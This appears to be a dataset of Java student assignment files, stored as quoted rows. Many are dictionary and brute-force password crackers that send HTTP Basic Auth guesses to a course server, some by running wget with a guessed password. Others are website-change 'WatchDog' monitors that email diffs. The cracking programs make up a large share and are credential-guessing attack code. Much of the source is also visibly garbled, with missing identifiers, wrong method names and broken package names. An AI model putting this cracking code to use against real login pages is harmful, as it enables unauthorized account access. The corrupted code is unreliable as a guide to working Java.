getStartStr() { return fetchWord(this.startidx); } public String getEndStr() { return fetchWord(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { String s = constructPassword(i); if ((s.length()>=MINCHAR) && (s.length()<=MAXCHAR)) launchRequest(getName(), idx, s); else System.out.println(getName()+""skipping '""+s+""'""); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; private String localDict[]; private int lastFetchIdx; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println("" ********************** [ DICTIONARY CRACKING SYSTEM ] *********************""); System.out.println(); System.out.println("" URL : ""+THEURL); System.out.println("" Crack Mode : ""+mode); System.out.println("" . Char : ""+MINCHAR); System.out.println("" . Char : ""+MAXCHAR); System.out.println("" # of Thread : ""+nThread); System.out.println("" Connections : ""+MAXCONN); System.out.println("" All Combi. : ""+ALLCOMBI); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader(""ENHANCED DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } else { printProgramHeader(""NAIVE DICTIONARY CRACKING ALGORITHM"",MAXTHREAD); } if (MAXTHREAD>ALLCOMBI) { MAXTHREAD = (int) (ALLCOMBI); } mult = (ALLCOMBI) / MAXTHREAD; i = System.currentTimeMillis(); for (thcount=0;thcount=0) { System.out.println(); System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************""); System.out.println(); System.out.println("" The password is : ""+passw); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } else { System.out.println(); System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************""); System.out.println(); System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations""); System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%""); System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec""); System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds""); System.out.println(); System.out.println("" ***************************************************************************""); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println(""Syntax : Dictionary [mode] [URL] [] [] [username]""); System.out.println(); System.out.println("" mode : (opt) 0 - NAIVE Dictionary mode""); System.out.println("" (trying from the first the last combinations)""); System.out.println("" 1 - ENHANCED Dictionary mode""); System.out.println("" (dividing cracking jobs multiple threads) (default)""); System.out.println("" URL : (opt) the URL crack ""); System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)""); System.out.println("" , : (optional) range of characters applied in the cracking""); System.out.println("" where 1 <= <= 255 (default = 1)""); System.out.println("" <= <= 255 (default = 3)""); System.out.println("" username : (optional) the username that is used crack""); System.out.println(); System.out.println("" NOTE: The optional parameters '','', and 'username'""); System.out.println("" have specified altogether none at all.""); System.out.println("" For example, if [] is specified, then [], and [username]""); System.out.println("" have specified as well. If none of them specified,""); System.out.println("" default values used.""); System.out.println(); System.out.println("" Example of invocation :""); System.out.println("" java Dictionary ""); System.out.println("" java Dictionary 0""); System.out.println("" java Dictionary 1 http://localhost/tryme.php""); System.out.println("" java Dictionary 0 http://localhost/tryme.php 1 3 ""); System.out.println("" java Dictionary 1 http://localhost/tryme.php 1 10 ""); System.out.println(); System.out.println(); } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println(""Syntax error : invalid mode '""+args[0]+""'""); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println(""Syntax error : invalid number '""+args[0]+""'""); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println(""Unable open connection the URL '""+args[1]+""'""); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println(""Invalid URL '""+args[1]+""'""); printSyntax(); System.exit(1); } } if (argc==5) { try { MINCHAR = Integer.valueOf(args[2]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[2]+""'""); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println(""Invalid range number value '""+args[3]+""'""); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>255)) { System.out.println(""Invalid range number value '""+args[2]+""' (must between 0 and 255)""); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println(""Invalid range number value '""+args[2]+""' (must lower than the value)""); printSyntax(); System.exit(1); } if (MAXCHAR>255) { System.out.println(""Invalid range number value '""+args[3]+""' (must between value and 255)""); printSyntax(); System.exit(1); } USERNAME = args[4]; } else if ((argc>2) && (argc<5)) { System.out.println(""Please specify the [], [], and [username] altogether none at all""); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>5)) { System.out.println(""The number of parameters expected is not more than 5. ""); System.out.println("" have specified more than 5 parameters.""); printSyntax(); System.exit(1); } } public static void main(String[] args) { MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[5]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = String.valueOf(MINCHAR); args[3] = String.valueOf(MAXCHAR); args[4] = USERNAME; } paramCheck(args); readThroughDictionary(); Application = new Dictionary(); } public static Dictionary Application; public static String THEURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; public static String DICTIONARY = System.getProperty(""user.dir"")+""/words""; public static String TEMPDICT = System.getProperty(""user.dir"")+""/~words""; public static boolean isenhanced; public static String passw = """"; public static final int REPORT_INTERVAL = 1; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = """"; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static int MAXCACHE = 100; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; } " 002.java," import java.io.*; class Dictionary{ public static void main(String args[]){ try{ File file = new File(""words""); FileReader fr = new FileReader(file); BufferedReader bf = new BufferedReader(fr); URLHack uh = new URLHack(); String line=""""; while((line = bf.readLine()) != null){ if(line.length() <=3) { uh.crackIt(line); } } } catch(IOException ioe){ System.out.println(""Error: ""+ioe); } } } class URLHack{ public void crackIt(String paas){ Process p=null; try{ p = Runtime.getRuntime().exec(""wget -nv --http-user= --http-passwd=""+paas+ "" http://sec-crack.cs.rmit.edu./SEC/2/""); InputStream is = p.getErrorStream(); BufferedReader bf = new BufferedReader(new InputStreamReader(is)); String tempLine=""""; tempLine = bf.readLine(); System.out.println(tempLine); if(tempLine.length() == 21) System.out.println(""Invalid Password "" +paas); else { System.out.println(""Password is "" + paas); System.exit(0); } } catch(Exception e){ System.out.println("" ERROR ""+e); } } }" 154.java,"import java.io.*; import java.util.StringTokenizer; import java.net.smtp.SmtpClient; import java.util.Timer; import java.util.TimerTask; public class WatchDog { public static void main(String[] args) { try { Process y = Runtime.getRuntime().exec(""./init""); } catch (Exception e) {System.err.println(e);} WatchDog poodle=new WatchDog(); { poodle.startWatch(); } while(1==1); } public void startWatch() { String error_mes=new String(); String mesg=new String(); String url=""wget -p http://www.cs.rmit.edu./students""; try { Process a = Runtime.getRuntime().exec(url); } catch (Exception e) {System.err.println(e);} try { Process b = Runtime.getRuntime().exec(""diff org/images/ www.cs.rmit.edu./images/""); BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream())); while ((error_mes = stdInputimages.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} try { Process c = Runtime.getRuntime().exec(""diff org/students/ www.cs.rmit.edu./students/""); BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream())); while ((error_mes = stdInputindex.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} if (mesg.length()>0) { sendEmail(mesg); } try { Thread.sleep(60*60*24*1000); } catch(Exception e) { } } public void sendEmail(String message) { { String reciever = ""@cs.rmit.edu.""; String sender = ""WATCHDOG@cs.rmit.edu.""; try { SmtpClient smtp = new SmtpClient(); smtp.from(sender); smtp.to(reciever); PrintStream msg = smtp.startMessage(); msg.println(message); smtp.closeServer(); } catch (Exception e) {} } } }" 146.java,"import java.net.*; import java.util.*; public class BruteForce { public static void main(String[] args) { new CrackAttempt(); } } class CrackAttempt { public CrackAttempt() { final int MAX_LENGTH = 3; boolean auth = false; Date = new Date(); boolean morePasswords = true; int passPtr = 0; StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""); char[] password = new char[MAX_LENGTH]; password[0] = validChars.charAt(0); while (!auth && morePasswords) { String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/""; try { Authenticator.setDefault(new CrackAuth(password)); URL url = new URL(resource); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setRequestMethod(""HEAD""); if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { System.out.println(""cracked with "" + new String(password)); auth = true; } } catch (Exception e) { System.out.println("" was exception: "" + e.getMessage()); } int count = passPtr; while (true) { if (password[count] == validChars.charAt(validChars.length() - 1)) { password[count] = validChars.charAt(0); count--; } else { password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1); break; } if (count < 0) { if (passPtr < MAX_LENGTH - 1) { passPtr++; password[passPtr] = validChars.charAt(0); } else { morePasswords = false; } break; } } } if (!auth) { System.out.println(""Unable determine password""); } else { time = (new Date()).getTime() - start.getTime(); System.out.println(""it took "" + String.valueOf(time) + "" milliseconds crack the password""); } } } class CrackAuth extends Authenticator { char[] password; public CrackAuth(char[] password) { this.password = password; } protected PasswordAuthentication getPasswordAuthentication() { String user = """"; return new PasswordAuthentication(user, password); } } " 238.java," import java.util.*; import java.io.*; import java.net.*; class BruteForce { public static void main (String a[]) { final char [] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; String pwd=""""; for(int i=0;i<52;i++) { for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { pwd = alphabet[i]+""""+alphabet[j]+""""+alphabet[k]; String userPassword = "":""+pwd; RealThread myTh = new RealThread(i,userPassword); Thread th = new Thread( myTh ); th.start(); try { th.sleep(100); } catch(Exception e) {} } } } } } class RealThread implements Runnable { private int num; private URL url; private HttpURLConnection uc =null; private String userPassword; private int responseCode = 100; public RealThread (int i, String userPassword) { try { url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); } catch(Exception ex1) { } num = i; this.userPassword = userPassword; } public int getResponseCode() { return this.responseCode; } public void run() { try { String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); uc = (HttpURLConnection)url.openConnection(); uc.setRequestProperty (""Authorization"", "" "" + encoding); System.out.println(""Reponse = ""+uc.getResponseCode()+""for pwd = ""+userPassword); this.responseCode = uc.getResponseCode(); if(uc.getResponseCode()==200) { System.out.println("" ======= Password Found : ""+userPassword+"" ========================================= ""); System.exit(0); } } catch (Exception e) { System.out.println(""Could not execute Thread ""+num+"" ""); } } } " 215.java," import java.Runtime; import java.io.*; public class differenceFile { StringWriter sw =null; PrintWriter pw = null; public differenceFile() { sw = new StringWriter(); pw = new PrintWriter(); } public String compareFile() { try { Process = Runtime.getRuntime().exec(""diff History.txt Comparison.txt""); InputStream write = sw.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line; while((line = bf.readLine())!=null) pw.println(line); if((sw.toString().trim()).equals("""")) { System.out.println("" difference""); return null; } System.out.println(sw.toString().trim()); }catch(Exception e){} return sw.toString().trim(); } }" 227.java,"import java.io.*; import java.net.*; import java.net.HttpURLConnection; import javax.net.*; import java.security.cert.*; public class Dictionary { public static void main(String[] args) { BufferedReader in = null; boolean found = true; String word = null; String cmd = null; Runtime run = Runtime.getRuntime(); Process pro = null; BufferedReader inLine = null; String str = null; URLConnection connection = null; try { FileReader reader = new FileReader(""words""); in = new BufferedReader(reader); System.out.println("" cracking....""); { found = true; word = new String(in.readLine()); cmd = ""wget --http-user= --http-passwd=""+word +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; pro = run.exec(cmd); inLine = new BufferedReader(new InputStreamReader(pro.getErrorStream())); if((str=inLine.readLine())!=null) { while ((str=inLine.readLine())!=null) { if (str.endsWith(""Required"")) { found = false; } } } run.gc(); } while (!found); } catch (FileNotFoundException exc) { System.out.println(exc); } catch (IOException exc) { System.out.println(exc); } catch (NullPointerException ex) { System.out.println(word); } finally { try { if (in!= null) { in.print(); } } catch (IOException e) {} } if (found == true) System.out.println(""The password is :"" + word); else System.out.println(""NOT FOUND!""); } }" 206.java," import java.util.*; public class WatchDog { private Timer t; public WatchDog() { t = new Timer(); TimerTask task = new TimerTask() { public void run() { Dog doggy = new Dog(); } }; t.schedule(task, 0, 86400000); } public static void main( String[] args) { WatchDog wd = new WatchDog(); } } " 020.java," import java.util.*; import java.util.zip.*; import java.net.*; import java.io.*; import javax.swing.*; public class WatchDogTask extends TimerTask { private String urlHomePage; private boolean fileToWrite = true; private boolean startup = true; private int[] checksum; private int noChangeCount = 0; public WatchDogTask() { super(); System.out.println(""Programmed by for INTE1070 Assignment2""); urlHomePage = JOptionPane.showInputDialog( ""Enter URL"" ); } public void run() { noChangeCount = 0; try { URL currURL = new URL( urlHomePage ); URLConnection conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setUseCaches( false ); hconn.setFollowRedirects( true ); hconn.connect(); int response = hconn.getResponseCode(); String msg = hconn.getResponseMessage(); performTask( hconn.getInputStream() ); } String option = JOptionPane.showInputDialog( "" want exit?(y/n)"" ); if(option != null && (option.equals(""y"") || option.equals(""Y""))) { cancel(); System.exit(0); } else { startup = false; System.err.println( "" in 24 hours!"" ); } } catch( MalformedURLException mue ) { String msg = ""Unable parse URL !""; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error : "" + ioe ); } } private void performTask( InputStream inputStream ) { String fileName = null, arg1 = null, arg2 = null; InputStream in = inputStream; try { if( fileToWrite == true ) { fileName = ""tempFile1.txt""; fileToWrite = false; } else { fileName = ""tempFile2.txt""; fileToWrite = true; } BufferedReader buf = new BufferedReader(new InputStreamReader(in)); FileOutputStream fout = new FileOutputStream( fileName ); String line; List imgList = new ArrayList(); while( ( line = buf.readLine() ) != null ) { if((line.indexOf(""src="") != -1) || (line.indexOf(""SRC="") != -1)) { ParsingImgLink parser = new ParsingImgLink( urlHomePage,line); String imgLink = parser.getImgLink(); imgList.add( imgLink ); } fout.write(line.getBytes()); fout.write(""\n"".getBytes()); } buf.read(); fout.read(); int[] tempChecksum = new int[imgList.size()]; for( int i = 0; i < imgList.size(); i ++ ) { URL imgURL = new URL( (String)imgList.get( i ) ); URLConnection imgConn = imgURL.openConnection(); if (imgConn instanceof HttpURLConnection) { HttpURLConnection imgHConn = (HttpURLConnection) imgConn; imgHConn.connect(); int response = imgHConn.getResponseCode(); String msg = imgHConn.getResponseMessage(); System.out.println( ""Downloading image: "" + ""Server Response : "" + response + "" Response Message: "" ); CheckedInputStream cis = new CheckedInputStream( imgHConn.getInputStream(), new Adler32()); byte[] tempBuf = new byte[128]; while( cis.get(tempBuf) >= 0 ) { } tempChecksum[i] = cis.getChecksum().getValue(); System.out.println(""Image Checksum = "" + tempChecksum[i] ); if( startup == false ) { for( int j = 0; j < checksum.length; j ++ ) { if( tempChecksum[i] == checksum[j] ) noChangeCount ++; } } } } String change = null; if( startup == false ) { Process p = Runtime.getRuntime().exec( ""diff tempFile1.txt tempFile2.txt"", null ); InputStream inCommand = p.getInputStream(); OutputStream out = new FileOutputStream(""diff.txt"",true); int c; while( (c = inCommand.get()) != -1 ) { System.out.print( (char)c ); out.write( c ); } inCommand.get(); if( checksum.length > tempChecksum.length ) { change = """" + (checksum.length-tempChecksum.length) + "" image(s) has/have been removed from this web ""; out.write( change.getBytes() ); } else if( checksum.length < tempChecksum.length ) { change = """" + (tempChecksum.length-checksum.length) + "" image(s) has/have been added this web ""; out.write( change.getBytes() ); } else if( noChangeCount < checksum.length ) { change = """" + (checksum.length-noChangeCount) + "" image(s) has/have been changed this web ""; out.write( change.getBytes() ); } else { change = ""all images have not been changed""; } File diffFile = new File( ""diff.txt"" ); if( diffFile.length() != 0 ) { Runtime.getRuntime().exec( ""mail < diff.txt"" ); System.out.println(""A mail has been sent mail box""); } } else { change = ""Program starts up first time""; } System.out.println( change ); checksum = tempChecksum; } catch( MalformedURLException mue ) { String msg = ""Unable parse URL !""; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( ""I/O Error: "" + ioe ); } } } " 090.java,"import java.io.*; import java.net.*; import java.security.*; import java.math.*; import java.*; import java.util.*; public class Dictionary { public static void main (String args[]) throws Exception { Socket socket = null; DataOutputStream = null; BufferedReader bf = null, fr = null; String retVal = null, StatusCode = ""HTTP/1.1 200 OK""; int found = 0, count = 0; String testpasswd; try { File inputFile = new File(""words""); fr = new BufferedReader(new FileReader(inputFile)); } catch (IOException ex) { ex.printStackTrace(); } stime = System.currentTimeMillis(); System.out.println(""Cracking password by Dictionary...""); while (((testpasswd = fr.readLine()) != null) && (found == 0)) { try { URL yahoo = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); URLConnection yc = yahoo.openConnection(); String authString = "":"" + testpasswd; String auth = new bf.misc.BASE64Encoder().encode(authString.getBytes()); yc.setRequestProperty(""Authorization"", "" "" + auth); count++; BufferedReader in = new BufferedReader( new InputStreamReader( yc.getInputStream())); String inputLine; while ((inputLine = in.readLine()) != null){ System.out.println(inputLine); etime = System.currentTimeMillis(); System.out.println(""Password found -- "" + testpasswd); System.out.println(""Time used = "" + ((etime - stime)/1000) + "" sec""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); found = 1; } in.print(); } catch (Exception ex) {} } fr.close(); if (found == 0) { System.out.println(""Sorry, password found.""); System.out.println(""# of attempt = "" + count); System.out.println(""End of cracking!""); } } }" 040.java,"import java.io.*; import java.util.*; import java.text.*; public class Dictionary { private int verbose = 0; private int scanType = CrackingConstants.casedScan; private boolean leftThreeCharsOnly = false; private boolean fullScan = false; private int passwordsTried = 0; private int uniqueLetterSequencesTried = 0; public static void main (String args[]) { int tIni; int tFinish; DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); Dictionary pwForcer = new Dictionary(); if(0 < args.length) { for(int i = 0; i < args.length; i++) { if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1)) { System.out.println(""\n-f -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is with this option).""); System.out.println(""\n-s -S\tonly tests lower passwords.""); System.out.println(""\n-t -T\tonly the three leftmost characters of the passwords.""); System.out.println(""\n-v -V\tprints the passwords as tried.\n""); return; } else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1)) pwForcer.scanType = CrackingConstants.simpleScan; else if((args[i].indexOf(""-v"") > -1) || (args[i].indexOf(""-V"") > -1)) pwForcer.verbose = CrackingConstants.verboseMode2; else if((args[i].indexOf(""-t"") > -1) || (args[i].indexOf(""-T"") > -1)) pwForcer.leftThreeCharsOnly = true; else if((args[i].indexOf(""-f"") > -1) || (args[i].indexOf(""-F"") > -1)) pwForcer.fullScan = true; } } if (pwForcer.fullScan) pwForcer.leftThreeCharsOnly = false; System.out.println(""\n\n********************************\n""); System.out.println(""Starting dictionary run at "" + longTimestamp.format(new Date())); if(0 < args.length) { String arguments = """"; for( i =0; i < args.length; i++) arguments += args[i] + "" ""; System.out.println(""\nOptions: "" + arguments + ""\n""); } if (pwForcer.leftThreeCharsOnly) System.out.println(""Only the first three letters of each password tried.""); if(pwForcer.scanType == CrackingConstants.simpleScan) System.out.println(""Only lower passwords tried.""); else System.out.println(""Both lower and upper passwords tried.""); System.out.println(""\n********************************\n""); tIni = System.currentTimeMillis(); pwForcer.run(); tFinish = System.currentTimeMillis(); if (CrackingConstants.casedScan == pwForcer.scanType) { System.out.println (""\n\n"" + pwForcer.passwordsTried + "" capitalized passwords were tried.""); System.out.println (""That is "" + pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); } else { System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were tried.\n""); System.out.println (pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); } System.out.println(""\n********************************\n""); System.out.println(""Finished dictionary run at "" + longTimestamp.format(new Date())); System.out.println(""Time taken: "" + ((tFinish - tIni )/1000) + "" seconds""); System.out.println(""\n********************************""); } public Dictionary() { } private void run() { String fileName = ""/usr/share/lib/dict/words""; LoginAttemptResults results = new LoginAttemptResults(); LoginAttempt login = new LoginAttempt(); CasePasswords casedPasswords = new CasePasswords(verbose); try { boolean found = false; int lineCount = 0; String password = null; String lastPassword = """"; BufferedReader in = new BufferedReader(new FileReader(fileName)); while((null != (password = in.readLine())) && (!found)) { lineCount++; password = password.trim(); if("""" != password) { if (leftThreeCharsOnly) { leftIndex = -1; midIndex = -1; rightIndex = -1; String tail = """"; if(3 <= password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 3).toLowerCase())) continue; else lastPassword = password.substring(0, 3).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length); if ((3 < password.length() ) && (fullScan)) tail = password.substring(0, 3); } else if(2 == password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 2).toLowerCase())) continue; else lastPassword = password.substring(0, 2).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); } else if(1 == password.length()) { if (!fullScan) if(lastPassword.equals(password.substring(0, 1).toLowerCase())) continue; else lastPassword = password.substring(0, 1).toLowerCase(); char [] passwordChars = password.toCharArray(); leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); } else { System.out.println(""Empty password from word file.""); continue; } if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex))) continue; if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex)) continue; results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried); found = results.getSuccess(); passwordsTried = results.getPasswordsTried(); uniqueLetterSequencesTried++; } else { results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried); found = results.getSuccess(); passwordsTried = results.getPasswordsTried(); uniqueLetterSequencesTried++; } } } in.print(); } catch(FileNotFoundException e) { System.out.println(""File "" + fileName + "" was not found was unopenable.""); } catch(IOException e) { System.out.println(""Error "" + e); } } } " 249.java,"import java.net.*; import java.io.*; public class BruteForce { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); for (i=1;i<=58;i++) { if (i<=26 || i > 32) { } for (j=1;j<=58;j++) { if ((j<=26 || j > 32) && (i <=26 || i>32)) { } for (k=1;k<=58;k++) { if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32)) { pwd = """" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64); userpwd = url.encode("""",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty(""Authorization"","" "" + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); if (reply.compareTo(""HTTP/1.1 200 OK"")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println(pwd); System.out.println(""Total Time = "" + (totalTime) + ""seconds""); System.exit(0); } } } } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }" 026.java," import java.util.*; import java.net.*; import java.io.*; public class ScheduleTask extends Thread { private int flag=0,count1=0,count2=0; private Vector change; public ScheduleTask(Vector init) { try { Runtime run = Runtime.getRuntime(); String command_line = ""lynx http://yallara.cs.rmit.edu./~/index.html -dump""; Process result = run.exec(command_line); BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream())); String inputLine; Vector newVector = new Vector(); change = new Vector(); while ((inputLine = in.readLine()) != null) { newVector.addElement(inputLine); } if(init.size()>newVector.size()) { for(int k=0;k 90 && i < 97) i = 97; oneTemp[0] = (char)i ; pass = new String(oneTemp); System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""The password has is:""+pass); System.exit(0); } } }catch(java.io.IOException e){} } for(i=65;i<123;i++) { if( i > 90 && i < 97) i = 97; for(j =65;j<123;j++) { if( j > 90 && j < 97) j = 97; twoTemp[0] = (char)i ; twoTemp[1] = (char)j ; pass = new String(twoTemp); System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""The password has is:""+pass); System.exit(0); } } }catch(java.io.IOException e){} } } for(i=65;i<123;i++) { if( i > 90 && i < 97) i = 97; for(j =65;j<123;j++) { if( j > 90 && j < 97) j = 97; for(k = 65;k<123;k++) { if( k > 90 && k < 97) { k = 97;} threeTemp[0] = (char)i ; threeTemp[1] = (char)j ; threeTemp[2] = (char)k ; pass = new String(threeTemp); System.out.println(pass + "" "" + ""Attack Number=====>"" + counter++ ); function =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/index.php""; try { prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while((temp1 = bread.readLine()) != null) { if(temp1.equals(""HTTP request sent, awaiting response... 200 OK"")) { System.out.println(""The password has is:""+pass); System.exit(0); } } }catch(java.io.IOException e){} } } } } } " 160.java,"import java.io.*; public class WatchDog { public static void main (String[] args) { String isdiff = new String(); String[] cmd1 = {""//sh"",""-c"",""diff newfile.html oldfile.html > diff.txt""}; String[] cmd2 = {""//sh"",""-c"",""mailx -s \""Web Changed\"" \""@cs.rmit.edu.\"" < diff.txt""}; try { while(true) { Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html""); Thread.sleep(43200000); Thread.sleep(43200000); Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html""); Thread.sleep(2000); Runtime.getRuntime().exec(cmd1); Thread.sleep(2000); BufferedReader diff = new BufferedReader(new FileReader(""diff.txt"")); if ((isdiff=diff.readLine()) != null) { Runtime.getRuntime().exec(cmd2); System.out.println(""Change Detected & Email Send""); } diff.print(); } } catch (IOException err) { err.printStackTrace(); } catch (InterruptedException err) { err.printStackTrace(); } } }" 235.java," import java.io.*; import java.net.*; import java.util.*; import java.misc.BASE64Encoder; public class BruteForce { private String userId; private String password; private StringBuffer seed= new StringBuffer(""aaa""); private int tries = 1; public BruteForce() { Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String 